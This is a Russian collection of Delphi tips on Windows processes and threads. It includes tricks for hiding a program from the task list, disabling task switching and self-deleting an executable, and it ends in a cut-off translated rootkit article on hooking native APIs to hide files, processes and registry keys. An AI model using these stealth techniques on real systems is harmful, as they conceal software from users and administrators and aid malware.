    Application.Title := 'destroy me';
    // ищем предыдущую копию приложения
    PreviousInstanceWindow := FindWindow(nil,AppName);
    // Передаём фокус на предыдущую копию приложения
    // завершаем текущую копию
    Application.Terminate;

    if PreviousInstanceWindow <> 0 then
      if IsIconic(PreviousInstanceWindow) then
           ShowWindow(PreviousInstanceWindow,SW_RESTORE)
      else SetForegroundWindow(PreviousInstanceWindow);
  end;
  // создаём глобальный атом, чтобы предотвратить запуск другой копии приложения
  FoundAtom := GlobalAddAtom(AtomText);
end;

constructor TForm.Create(AOwner: TComponent);
begin
  inherited;

  LookForPreviousInstance;
  ...
end;

destructor TForm.Destroy;
var
  FoundAtom : TAtom;
  ValueReturned : word;
begin
  // не забудьте удалить глобальный атом
  FoundAtom := GlobalFindAtom(AtomText);
  if FoundAtom <> 0 then ValueReturned := GlobalDeleteAtom(FoundAtom);

  inherited Destroy;
end;

Взято из http://forum.sources.ru

В блоке begin..end модуля .dpr:

begin
  if HPrevInst <> 0 then
    begin
      ActivatePreviousInstance;
      Halt;
    end;
end;

Реализация:

unit PrevInst;

interface

uses

  WinProcs,
  WinTypes,
  SysUtils;

type
  PHWnd = ^HWnd;

function EnumApps(Wnd: HWnd; TargetWindow: PHWnd): bool; export;

procedure ActivatePreviousInstance;

implementation

function EnumApps(Wnd: HWnd; TargetWindow: PHWnd): bool;
var

  ClassName: array[0..30] of char;
begin

  Result := true;
  if GetWindowWord(Wnd, GWW_HINSTANCE) = HPrevInst then
    begin
      GetClassName(Wnd, ClassName, 30);
      if STRIComp(ClassName, 'TApplication') = 0 then
        begin
          TargetWindow^ := Wnd;
          Result := false;
        end;
    end;
end;

procedure ActivatePreviousInstance;
var

  PrevInstWnd: HWnd;
begin

  PrevInstWnd := 0;
  EnumWindows(@EnumApps, LongInt(@PrevInstWnd));
  if PrevInstWnd <> 0 then
    if IsIconic(PrevInstWnd) then
      ShowWindow(PrevInstWnd, SW_Restore)
    else
      BringWindowToTop(PrevInstWnd);
end;

end.
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


Как разрешить / запретить переключение между задачами?

только для ALT+TAB и CTRL+ESC)

Это не совсем профессиональный способ, но он работает! Мы просто эмулируем запуск и остановку скринсейвера.

Procedure TaskSwitchingStatus( State : Boolean );
Var
    OldSysParam : LongInt;
Begin
    SystemParametersInfo( SPI_SCREENSAVERRUNNING, Word( State ), @OldSysParam, 0 );
End;

Взято из http://forum.sources.ru


Как получить / установить приоритет процесса?

Const
    ppIdle                  : Integer = -1;
    ppNormal                : Integer =  0;
    ppHigh                  : Integer =  1;
    ppRealTime              : Integer =  2;

Function SetProcessPriority( Priority : Integer ) : Integer;
Var
    H : THandle;
Begin
    Result := ppNormal;
    H := GetCurrentProcess();
    If ( Priority = ppIdle ) Then
        SetPriorityClass( H, IDLE_PRIORITY_CLASS )
    Else If ( Priority = ppNormal ) Then
        SetPriorityClass( H, NORMAL_PRIORITY_CLASS )
    Else If ( Priority = ppHigh ) Then
        SetPriorityClass( H, HIGH_PRIORITY_CLASS )
    Else If ( Priority = ppRealTime ) Then
        SetPriorityClass( H, REALTIME_PRIORITY_CLASS );
    Case GetPriorityClass( H ) Of
        IDLE_PRIORITY_CLASS     : Result := ppIdle;
        NORMAL_PRIORITY_CLASS   : Result := ppNormal;
        HIGH_PRIORITY_CLASS     : Result := ppHigh;
        REALTIME_PRIORITY_CLASS : Result := ppRealTime;
    End;
End;

Function GetProcessPriority : Integer;
Var
    H : THandle;
Begin
    Result := ppNormal;
    H := GetCurrentProcess();
    Case GetPriorityClass( H ) Of
        IDLE_PRIORITY_CLASS     : Result := ppIdle;
        NORMAL_PRIORITY_CLASS   : Result := ppNormal;
        HIGH_PRIORITY_CLASS     : Result := ppHigh;
        REALTIME_PRIORITY_CLASS : Result := ppRealTime;
    End;
End;

Как использовать:

    Function SetProcessPriority( Priority : Integer ) : Integer;

для установки приоритета Вашего приложения, либо:

    Function GetProcessPriority : Integer;

для получения приоритета.

Взято из http://forum.sources.ru


Как получить список процессов?

function IsRunning( sName : string ) : boolean;
var
  han : THandle;
  ProcStruct : PROCESSENTRY32; // from "tlhelp32" in uses clause
  sID : string;
begin
  Result := false;
  // Get a snapshot of the system
  han := CreateToolhelp32Snapshot( TH32CS_SNAPALL, 0 );
  if han = 0 then
    exit;
  // Loop thru the processes until we find it or hit the end
  ProcStruct.dwSize := sizeof( PROCESSENTRY32 );
  if Process32First( han, ProcStruct ) then
    begin
      repeat
        sID := ExtractFileName( ProcStruct.szExeFile );
        // Check only against the portion of the name supplied, ignoring case
        if uppercase( copy( sId, 1, length( sName ) ) ) = uppercase( sName ) then
          begin
            // Report we found it
            Result := true;
            Break;
          end;
      until not Process32Next( han, ProcStruct );
    end;
  // clean-up
  CloseHandle( han );
end;

Взято из http://forum.sources.ru


Как убрать мою программу из списка Alt+Ctrl+Del?

function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer; stdcall; external 'KERNEL32.DLL';

implementation

procedure TForm1.Button1Click(Sender: TObject);
begin //Скрываем
if not (csDesigning in ComponentState) then
RegisterServiceProcess(GetCurrentProcessID, 1);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin //Опять показываем
if not (csDesigning in ComponentState) then
RegisterServiceProcess(GetCurrentProcessID, 0);
end;

Взято из http://forum.sources.ru


Как узнать имя файла текущего процесса?

Для этого существует функция GetModuleFileName, которая возвращает имя файла текущего процесса.

function GetModName: String;
var
  fName: String;
  nsize: cardinal;
begin
  nsize := 128;
  SetLength(fName,nsize);
  SetLength(fName,
            GetModuleFileName(
              hinstance,
              pchar(fName),
              nsize));
  Result := fName;
end;

Взято из http://forum.sources.ru


Как определить какие приложения уже запущены?

procedure TForm1.Button1Click(Sender: TObject);
VAR
Wnd : hWnd;
buff: ARRAY [0..127] OF Char;
begin
ListBox1.Clear;
Wnd := GetWindow(Handle, gw_HWndFirst);
WHILE Wnd <> 0 DO
BEGIN {Не показываем:}
IF (Wnd <> Application.Handle) AND {-Собственное окно}
IsWindowVisible(Wnd) AND {-Невидимые окна}
(GetWindow(Wnd, gw_Owner) = 0) AND {-Дочернии окна}
(GetWindowText(Wnd, buff, sizeof(buff)) <> 0) {-Окна без заголовков}
THEN BEGIN
GetWindowText(Wnd, buff, sizeof(buff));
ListBox1.Items.Add(StrPas(buff));
END;
Wnd := GetWindow(Wnd, gw_hWndNext);
END;
ListBox1.ItemIndex := 0;
end;

Взято из http://forum.sources.ru


Как создавать потоки без класса TThread?

Ниже приведены два примера, которые при создании потоков позволяют обойтись без класса TThread, используя API функции CreateThread, SuspendThread, ResumeThread и TerminateThread.

Пример 1:

Поместите на форму 2 окошка редактирования (edit) и 6 кнопок. Далее приведён сам код:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;

procedure incedit1;stdcall;
procedure incedit2;stdcall;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Edit1: TEdit;
    Edit2: TEdit;
    Button6: TButton;
    Button7: TButton;
    Button2: TButton;
    Button3: TButton;
    Button5: TButton;
    Button4: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button6Click(Sender: TObject);
    procedure Button7Click(Sender: TObject);
    procedure Button4Click(Sender: TObject);
    procedure Button5Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

var
th1,th2:cardinal;
h1,h2:integer;

procedure incedit1;
var
i:integer;
begin
i:=0;
while true do
  begin
   form1.edit1.text:=inttostr(i);
   i:=i+1;
  end;
end;

procedure incedit2;
var
i:integer;
begin
i:=0;
while true do
  begin
   form1.edit2.text:=inttostr(i);
   i:=i+1;
  end;
end;
{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
begin
h1:=beginthread(nil,1024,@incedit1,nil,0,th1);
h2:=beginthread(nil,1024,@incedit2,nil,0,th2);
end;

procedure TForm1.Button6Click(Sender: TObject);
begin
terminatethread(h1,0);
end;

procedure TForm1.Button7Click(Sender: TObject);
begin
terminatethread(h2,0);
end;

procedure TForm1.Button4Click(Sender: TObject);
begin
resumethread(h1);
end;

procedure TForm1.Button5Click(Sender: TObject);
begin
resumethread(h2);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
suspendthread(h1);
end;

procedure TForm1.Button3Click(Sender: TObject);
begin
suspendthread(h2);
end;

Пример 2:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;

procedure printh(p:pointer);stdcall;
  type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.DFM}

procedure printh(p:pointer);
begin
TForm1(p).caption:='Hello from thread';
ExitThread(0);
end;

procedure TForm1.Button1Click(Sender: TObject);
var
h1:cardinal;
begin
createthread(nil,128,@printh,self,0,h1);
end;

end.

Взято из http://forum.sources.ru


Как программе удалить саму себя?

Первый способ:

uses
  Windows, SysUtils;

procedure DeleteMe;
var
  BatchFile: TextFile;
  BatchFileName: string;
  ProcessInfo: TProcessInformation;
  StartUpInfo: TStartupInfo;
begin
  { создаём бат-файл в директории приложения }
  BatchFileName := ExtractFilePath(ParamStr(0)) + '$$336699.bat';

  { открываем и записываем в файл }
  AssignFile(BatchFile, BatchFileName);
  Rewrite(BatchFile);

  Writeln(BatchFile, ':try');
  Writeln(BatchFile, 'del "' + ParamStr(0) + '"');
  Writeln(BatchFile,
    'if exist "' + ParamStr(0) + '"' + ' goto try');
  Writeln(BatchFile, 'del "' + BatchFileName + '"');
  CloseFile(BatchFile);

  FillChar(StartUpInfo, SizeOf(StartUpInfo), $00);
  StartUpInfo.dwFlags := STARTF_USESHOWWINDOW;
  StartUpInfo.wShowWindow := SW_HIDE;

  if CreateProcess(nil, PChar(BatchFileName), nil, nil,
     False, IDLE_PRIORITY_CLASS, nil, nil, StartUpInfo,
     ProcessInfo) then
  begin
    CloseHandle(ProcessInfo.hThread);
    CloseHandle(ProcessInfo.hProcess);
  end;

end;

А вот тот же способ, но немного модифицированный:

program delete2;

uses
  SysUtils,
  windows;

var
   BatchFile: TextFile;
   BatchFileName : string;
   TM : Cardinal;
   TempMem : PChar;

begin
    BatchFileName:=ExtractFilePath(ParamStr(0))+ '$$336699.bat';

   AssignFile(BatchFile, BatchFileName);
   Rewrite(BatchFile);

   Writeln(BatchFile,':try');
   Writeln(BatchFile,'del "' + ParamStr(0) + '"');
   Writeln(BatchFile,'if exist "' + ParamStr(0) + '" goto try');
   Writeln(BatchFile,'del "' + BatchFileName + '"');
   CloseFile(BatchFile);

   TM:=70;
   GetMem (TempMem,TM);
   GetShortPathName (pchar(BatchFileName), TempMem, TM);
   BatchFileName:=TempMem;
   FreeMem(TempMem);

   winexec(Pchar(BatchFileName),sw_hide);

   halt;

end.

Второй способ:

procedure DeleteSelf;
var
  module: HModule;
  buf: array[0..MAX_PATH - 1] of char;
  p: ULong;
  hKrnl32: HModule;
  pExitProcess,
  pDeleteFile,
  pFreeLibrary: pointer;
begin
  module := GetModuleHandle(nil);
  GetModuleFileName(module, buf, SizeOf(buf));
  CloseHandle(THandle(4));
  p := ULONG(module) + 1;
  hKrnl32 := GetModuleHandle('kernel32');
  pExitProcess := GetProcAddress(hKrnl32, 'ExitProcess');
  pDeleteFile := GetProcAddress(hKrnl32, 'DeleteFileA');
  pFreeLibrary := GetProcAddress(hKrnl32, 'FreeLibrary');
  asm
    lea eax, buf
    push 0
    push 0
    push eax
    push pExitProcess
    push p
    push pDeleteFile
    push pFreeLibrary
    ret
  end;
end;

Взято из http://forum.sources.ru


Как увеличить процессорное время, выделяемого программе?

Следующий пример изменяет приоритет приложения. Изменение приоритета следует использовать
с осторожностью - т.к. присвоение слишком высокого приоритета может привети к
медленной работе остальных программ и системы в целом. См. Win32 help for SetThreadPriority() function.

  procedure TForm1.Button1Click(Sender: TObject);
  var    ProcessID : DWORD;
   ProcessHandle : THandle;
   ThreadHandle : THandle;
begin
       ProcessID := GetCurrentProcessID;
      ProcessHandle := OpenProcess(PROCESS_SET_INFORMATION,
                                        false,  ProcessID);
  SetPriorityClass(ProcessHandle, REALTIME_PRIORITY_CLASS);
  ThreadHandle := GetCurrentThread;
  SetThreadPriority(ThreadHandle, THREAD_PRIORITY_TIME_CRITICAL);
end;

Взято с сайта http://blackman.wp-club.net/


Как определить сколько памяти выделено в дельфи для программы?

Для этого можно воспользоваться функцией GetHeapStatus:

lwMem.Items.Clear;
s := LastStatsList[cbCompare.ItemIndex];
LastStatsList[0] := GetHeapStatus;
LastStats := LastStatsList[PointId];

ListItem := lwMem.Items.Add;
ListItem.Caption := 'TotalAddrSpace';
ListItem.SubItems.Add(Numb2USA(Format(strFormat,[s.TotalAddrSpace])));
tmp := s.TotalAddrSpace - LastStats.TotalAddrSpace;
ListItem.SubItems.Add(DeltaToStr(tmp));

ListItem := lwMem.Items.Add;
ListItem.Caption := 'TotalUncommitted';
ListItem.SubItems.Add(Numb2USA(Format(strFormat,[s.TotalUncommitted])));
tmp := s.TotalUncommitted - LastStats.TotalUncommitted;
ListItem.SubItems.Add(DeltaToStr(tmp));

ListItem := lwMem.Items.Add;
ListItem.Caption := 'TotalCommitted';
ListItem.SubItems.Add(Numb2USA(Format(strFormat,[s.TotalCommitted])));
tmp := s.TotalCommitted - LastStats.TotalCommitted;
ListItem.SubItems.Add(DeltaToStr(tmp));

ListItem := lwMem.Items.Add;
ListItem.Caption := 'TotalAllocated';
ListItem.SubItems.Add(Numb2USA(Format(strFormat,[s.TotalAllocated])));
tmp := s.TotalAllocated - LastStats.TotalAllocated;
ListItem.SubItems.Add(DeltaToStr(tmp));

ListItem := lwMem.Items.Add;
ListItem.Caption := 'TotalFree';
ListItem.SubItems.Add(Numb2USA(Format(strFormat,[s.TotalFree])));
tmp := s.TotalFree - LastStats.TotalFree;
ListItem.SubItems.Add(DeltaToStr(tmp));

ListItem := lwMem.Items.Add;
ListItem.Caption := 'FreeSmall';
ListItem.SubItems.Add(Numb2USA(Format(strFormat,[s.FreeSmall])));
tmp := s.FreeSmall - LastStats.FreeSmall;
ListItem.SubItems.Add(DeltaToStr(tmp));

ListItem := lwMem.Items.Add;
ListItem.Caption := 'FreeBig';
ListItem.SubItems.Add(Numb2USA(Format(strFormat,[s.FreeBig])));
tmp := s.FreeBig - LastStats.FreeBig;
ListItem.SubItems.Add(DeltaToStr(tmp));

ListItem := lwMem.Items.Add;
ListItem.Caption := 'Unused';
ListItem.SubItems.Add(Numb2USA(Format(strFormat,[s.Unused])));
tmp := s.Unused - LastStats.Unused;
ListItem.SubItems.Add(DeltaToStr(tmp));

ListItem := lwMem.Items.Add;
ListItem.Caption := 'Overhead';
ListItem.SubItems.Add(Numb2USA(Format(strFormat,[s.Overhead])));
tmp := s.Overhead - LastStats.Overhead;
ListItem.SubItems.Add(DeltaToStr(tmp));

ListItem := lwMem.Items.Add;
ListItem.Caption := 'HeapErrorCode';
ListItem.SubItems.Add(Numb2USA(Format(strFormat,[s.HeapErrorCode])));

Взято из http://forum.sources.ru


Прочитать список всех запущенных Exe/ Проверить запущен ли Exe?

uses
  Psapi, tlhelp32;

procedure CreateWin9xProcessList(List: TstringList);
var
  hSnapShot: THandle;
  ProcInfo: TProcessEntry32;
begin
  if List = nil then Exit;
  hSnapShot := CreateToolHelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (hSnapShot <> THandle(-1)) then
  begin
    ProcInfo.dwSize := SizeOf(ProcInfo);
    if (Process32First(hSnapshot, ProcInfo)) then
    begin
      List.Add(ProcInfo.szExeFile);
      while (Process32Next(hSnapShot, ProcInfo)) do
        List.Add(ProcInfo.szExeFile);
    end;
    CloseHandle(hSnapShot);
  end;
end;

procedure CreateWinNTProcessList(List: TstringList);
var
  PIDArray: array [0..1023] of DWORD;
  cb: DWORD;
  I: Integer;
  ProcCount: Integer;
  hMod: HMODULE;
  hProcess: THandle;
  ModuleName: array [0..300] of Char;
begin
  if List = nil then Exit;
  EnumProcesses(@PIDArray, SizeOf(PIDArray), cb);
  ProcCount := cb div SizeOf(DWORD);
  for I := 0 to ProcCount - 1 do
  begin
    hProcess := OpenProcess(PROCESS_QUERY_INFORMATION or
      PROCESS_VM_READ,
      False,
      PIDArray[I]);
    if (hProcess <> 0) then
    begin
      EnumProcessModules(hProcess, @hMod, SizeOf(hMod), cb);
      GetModuleFilenameEx(hProcess, hMod, ModuleName, SizeOf(ModuleName));
      List.Add(ModuleName);
      CloseHandle(hProcess);
    end;
  end;
end;

procedure GetProcessList(var List: TstringList);
var
  ovi: TOSVersionInfo;
begin
  if List = nil then Exit;
  ovi.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
  GetVersionEx(ovi);
  case ovi.dwPlatformId of
    VER_PLATFORM_WIN32_WINDOWS: CreateWin9xProcessList(List);
    VER_PLATFORM_WIN32_NT: CreateWinNTProcessList(List);
  end
end;

function EXE_Running(FileName: string; bFullpath: Boolean): Boolean;
var
  i: Integer;
  MyProcList: TstringList;
begin
  MyProcList := TStringList.Create;
  try
    GetProcessList(MyProcList);
    Result := False;
    if MyProcList = nil then Exit;
    for i := 0 to MyProcList.Count - 1 do
    begin
      if not bFullpath then
      begin
        if CompareText(ExtractFileName(MyProcList.Strings[i]), FileName) = 0 then
          Result := True
      end
      else if CompareText(MyProcList.strings[i], FileName) = 0 then Result := True;
      if Result then Break;
    end;
  finally
    MyProcList.Free;
  end;
end;

// Example 1: Is a Exe-File running ?
procedure TForm1.Button1Click(Sender: TObject);
begin
  if EXE_Running('Notepad.exe', False) then
    ShowMessage('EXE is running')
  else
    ShowMessage('EXE is not running');
end;

// Example 2: List running Exe-Files
procedure TForm1.Button3Click(Sender: TObject);
var
  i: Integer;
  MyProcList: TstringList;
begin
  MyProcList := TStringList.Create;
  try
    GetProcessList(MyProcList);
    if MyProcList = nil then Exit;
    for i := 0 to MyProcList.Count - 1 do
      ListBox1.Items.Add(MyProcList.Strings[i]);
  finally
    MyProcList.Free;
  end;
end;
Взято с сайтаhttp://www.swissdelphicenter.ch/en/tipsindex.php


Как активизировать предыдущий экземпляр вашей программы?

Если внутренняя переменная hPrevInst не равна нулю, то она содержит дескриптор предыдущего запущенного экземпляра вашей программы. Вы просто находите открытое окно по его дескриптору и, при необходимости, выводите на передний план. Весь код расположен в файле .DPR file, НЕ в модуле. Строки, которые вам необходимо добавить к вашему .DPR-файлу, в приведенном ниже примере помечены {*}.

program Once;

uses
{*}  WinTypes, WinProcs, SysUtils,

Forms,
Onceu in 'ONCEU.PAS' {Form1};

{$R *.RES}
{*}TYPE
{*}  PHWND = ^HWnd;

{*}  FUNCTION EnumWndProc(H : hWnd; P : PHWnd) : Integer; Export;
{*}  VAR ClassName : ARRAY[0..30] OF Char;
{*}  BEGIN
{*}    {Если это окно принадлежит предшествующему экземпляру...}
{*}    IF GetWindowWord(H, GWW_HINSTANCE) = hPrevInst THEN
{*}      BEGIN
{*}        {... проверяем КАКОЕ это окно.}
{*}        GetClassName(H, ClassName, 30);
{*}        {Если это главное окно приложения...}
{*}        IF StrIComp(ClassName, 'TApplication') = 0 THEN
{*}          BEGIN
{*}            {... ищем}
{*}{*}            P^ := H;
{*}            EnumWndProc := 0;
{*}          END;
{*}      END;
{*}  END;

{*}  PROCEDURE CheckPrevInst;
{*}  VAR PrevWnd : hWnd;
{*}  BEGIN
{*}    IF hPrevInst <> 0 THEN
{*}      {Предыдущий экземпляр запущен}
{*}      BEGIN
{*}        PrevWnd := 0;
{*}        EnumWindows(@EnumWndProc, LongInt(@PrevWnd));
{*}        {Ищем дескриптор окна предыдущего}
{*}        {экземпляра и активизируем его}
{*}        IF PrevWnd <> 0 THEN
{*}          IF IsIconic(PrevWnd) THEN
{*}            ShowWindow(PrevWnd, SW_SHOWNORMAL)
{*}          ELSE BringWindowToTop(PrevWnd);
{*}        Halt;
{*}      END;
{*}  END;
begin
{*}  CheckPrevInst;

Application.Title := 'Once';
Application.CreateForm(TForm1, Form1);
Application.Run;
end.

Взято с http://delphiworld.narod.ru


Как поменять приоритет моего приложения?

procedure TForm1.Button1Click(Sender: TObject);
var
  ProcessID: DWORD;
  ProcessHandle: THandle;
  ThreadHandle: THandle;
begin
  ProcessID := GetCurrentProcessID;
  ProcessHandle := OpenProcess(PROCESS_SET_INFORMATION,
    false, ProcessID);
  SetPriorityClass(ProcessHandle, REALTIME_PRIORITY_CLASS);
  ThreadHandle := GetCurrentThread;
  SetThreadPriority(ThreadHandle, THREAD_PRIORITY_TIME_CRITICAL);
end;

Взято с http://delphiworld.narod.ru


Как стать невидимым в Windows NT (статья)?

Как стать невидимым в Windows NT

Author: Holy_Father <holy_father@phreaker.net>
Version: 1.2 russian
Date: 05.08.2003
Translation: Kerk <kerk_p@yahoo.com>

Вступление

Эта статья описывает техники скрытия объектов, файлов, сервисов,
процессов и т.д. в ОС Windows NT. Эти методы основаны на перехвате функций
Windows API, что описано в моей статье "Hooking Windows API".
Данная информация была получена мною в процессе написания rootkit'а,
поэтому есть вероятность, что это может быть реализовано более эффективно или
намного более просто.
Под скрытием объектов в этой статье подразумевается замена некоторых
системных функций, которые работают с этим объектом таким образом, чтобы они
его пропускали. В случае, если объект - всего лишь возвращаемое значение
функции, мы просто возвратим значение, как будто бы объекта не существует.
Простейший метод (исключая случаи, когда сказано обратное) - это
вызов оригинальной функции с оригинальными аргументами и замена ее выходных
данных.
В этой версии статьи описаны методы скрытия файлов, процессов,
ключей и значений реестра, системных сервисов и драйверов, выделенной памяти и
хэндлов.

Файлы

Существует несколько способов скрытия файлов, чтобы ОС не могла их
видеть. Мы сконцентрируемся на изменении API и отбросим такие техники, как
использование возможностей файловой системы. К тому же это намного проще, т.к.
в этом случае нам не нужно знать как работает конкретная файловая система.

NtQueryDirectoryFile

Поиск файла в wNT в какой-либо директории заключается в просмотре всех
файлов этой директории и файлов всех ее поддиректорий. Для перечисления файлов
используется функция NtQueryDirectoryFile.

NTSTATUS NtQueryDirectoryFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
OUT PVOID FileInformation,
IN ULONG FileInformationLength,
IN FILE_INFORMATION_CLASS FileInformationClass,
IN BOOLEAN ReturnSingleEntry,
IN PUNICODE_STRING FileName OPTIONAL,
IN BOOLEAN RestartScan
);

Для нас важны параметры FileHandle, FileInformation
и FileInformationClass. FileHandle - хэндл объекта директории, который может
быть получен с использованием функции NtOpenFile. FileInformation - указатель
на выделенную память, куда функция запишет необходимые данные.
FileInformationClass определяет тип записей в FileInformation.
FileInformationClass перечислимого типа, но нам необходимы только
четыре его значения, используемые для просмотра содержимого директории.

#define FileDirectoryInformation 1
#define FileFullDirectoryInformation 2
#define FileBothDirectoryInformation 3
#define FileNamesInformation 12

структура записи в FileInformation для FileDirectoryInformation:

typedef struct _FILE_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;

для FileFullDirectoryInformation:

typedef struct _FILE_FULL_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaInformationLength;
WCHAR FileName[1];
} FILE_FULL_DIRECTORY_INFORMATION, *PFILE_FULL_DIRECTORY_INFORMATION;

для FileBothDirectoryInformation:

typedef struct _FILE_BOTH_DIRECTORY_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
LARGE_INTEGER CreationTime;
LARGE_INTEGER LastAccessTime;
LARGE_INTEGER LastWriteTime;
LARGE_INTEGER ChangeTime;
LARGE_INTEGER EndOfFile;
LARGE_INTEGER AllocationSize;
ULONG FileAttributes;
ULONG FileNameLength;
ULONG EaInformationLength;
UCHAR AlternateNameLength;
WCHAR AlternateName[12];
WCHAR FileName[1];
} FILE_BOTH_DIRECTORY_INFORMATION, *PFILE_BOTH_DIRECTORY_INFORMATION;

и для FileNamesInformation:

typedef struct _FILE_NAMES_INFORMATION {
ULONG NextEntryOffset;
ULONG Unknown;
ULONG FileNameLength;
WCHAR FileName[1];
} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;

Функция записывает набор этих структур в буфер FileInformation.
Во всех этих типах структур для нас важны только три переменных.
NextEntryOffset - размер данного элемента списка. Первый элемент
расположен по адресу FileInformation + 0, а второй элемент по адресу
FileInformation + NextEntryOffset первого элемента. У последнего элемента
поле NextEntryOffset содержит нуль.
FileName - это полное имя файла.
FileNameLength - это длина имени файла.

Для скрытия файла, необходимо сравнить имя каждой возвращаемой записи
и имя файла, который мы хотим скрыть. Если мы хотим скрыть первую запись,
нужно сдвинуть следующие за ней структуры на размер первой записи. Это приведет
к тому, что первая запись будет затерта. Если мы хотим скрыть другую запись,
мы можем просто изменить значение NextEntryOffset предыдущей записи. Новое
значение NextEntryOffset будет нуль, если мы хотим скрыть последнюю запись,
иначе значение будет суммой полей NextEntryOffset записи, которую мы хотим
скрыть и предыдущей записи. Затем необходимо изменить значение поля Unknown
предыдущей записи, которое предоставляет индекс для последующего поиска.
Значение поля Unknown предыдущей записи должно равняться значению поля Unknown
записи, которую мы хотим скрыть.
Если нет ниодной записи, которую можно видеть, мы должны вернуть ошибку
STATUS_NO_SUCH_FILE.

#define STATUS_NO_SUCH_FILE 0xC000000F

NtVdmControl

По неизвестной причине эмуляция DOS - NTVDM может получить список
файлов еще и с помощью функции NtVdmControl.

NTSTATUS NtVdmControl(
IN ULONG ControlCode,
IN PVOID ControlData
);

ControlCode указывает подфункцию, которая будет применена к данным
в буфере ControlData. Если ControlCode равняется VdmDirectoryFile, эта
функция делает то же, что и NtQueryDirectoryFile с FileInformationClass
равным FileBothDirectoryInformation.

#define VdmDirectoryFile 6

Тогда буфер ControlData используется как FileInformation. Единственная
разница в том, что мы не знаем длину этого буфера. Поэтому мы должны вычислить
ее вручную. Мы можем сложить NextEntryOffset всех записей, FileNameLength
последней записи и 0x5E (длина последней записи исключая длину имени файла).
Методы скрытия такие же как и в случае с NtQueryDirectoryFile.

Процессы

Различная системная информация доступна через NtQuerySystemInformation.

NTSTATUS NtQuerySystemInformation(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL
);

SystemInformationClass указывает тип информации, которую мы хотим
получить, SystemInformation - это указатель на результирующий буфер,
SystemInformationLength - размер этого буфера и ReturnLength - количество
записанных байт.
Для перечисления запущенных процессов мы устанавливаем в параметр
SystemInformationClass значение SystemProcessesAndThreadsInformation.

#define SystemInformationClass 5

Возвращаемая структура в буфере SystemInformation:

typedef struct _SYSTEM_PROCESSES {
ULONG NextEntryDelta;
ULONG ThreadCount;
ULONG Reserved1[6];
LARGE_INTEGER CreateTime;
LARGE_INTEGER UserTime;
LARGE_INTEGER KernelTime;
UNICODE_STRING ProcessName;
KPRIORITY BasePriority;
ULONG ProcessId;
ULONG InheritedFromProcessId;
ULONG HandleCount;
ULONG Reserved2[2];
VM_COUNTERS VmCounters;
IO_COUNTERS IoCounters; // только Windows 2000
SYSTEM_THREADS Threads[1];
} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;

Скрытие процессов похоже на скрытие файлов. Мы должны изменить
NextEntryDelta записи предшествующей записи скрываемого процесса. Обычно
не требуется скрывать первую запись, т.к. это процесс Idle.

Реестр

Реестр Windows - это достаточно большая древовидная структура,
содержащая два важных типа записей, которые мы можем захотеть скрыть. Первый
тип - ключи реестра, второй - значения реестра. Благодаря структуре реестра
скрытие его ключей не так тривиально, как скрытие файлов или процессов.

NtEnumerateKey

Благодаря структуре реестра, мы не можем запросить список всех ключей
в какой-либо его части. Мы можем получить информацию только об одном ключе,
указанном его индексом. Используется функция NtEnumerateKey.

NTSTATUS NtEnumerateKey(
IN HANDLE KeyHandle,
IN ULONG Index,
IN KEY_INFORMATION_CLASS KeyInformationClass,
OUT PVOID KeyInformation,
IN ULONG KeyInformationLength,
OUT PULONG ResultLength
);

KeyHandle - это дескриптор ключа, в котором мы хотим получить
информацию о подключе, указанном параметром Index. Тип полученной информации
определяется полем KeyInformationClass. Данные записываются в буффер
KeyInformation, длина которого указана в параметре KeyInformationLength.
Количество записанных байт возвращается в ResultLength.
Наиболее важным является понимание того, что если мы скроем ключ, то
индексы всех последующих ключей будут сдвинуты. И так как нам придется получать
информацию о ключе с большим индексом запрашивая ключ с меньшим индексом, мы
должны подсчитать количество записей до скрытой и вернуть правильное значение.
Давайте разберем пример. Допустим в какой-то части реестра есть ключи с
именами A, B, C, D, E и F. Индекс начинается с нуля, это означает, что ключ E
имеет индекс 4. Теперь, если мы хотим скрыть ключ B и приложение вызвало
NtEnumerateKey с Index равным 4, мы должны вернуть информацию о ключе F, так
как индекс сдвинут. Проблема в том, что нам неизвестно, что нужно произвести
сдвиг. А если мы не позаботимся о сдвиге, то вернем E вместо F, когда будет
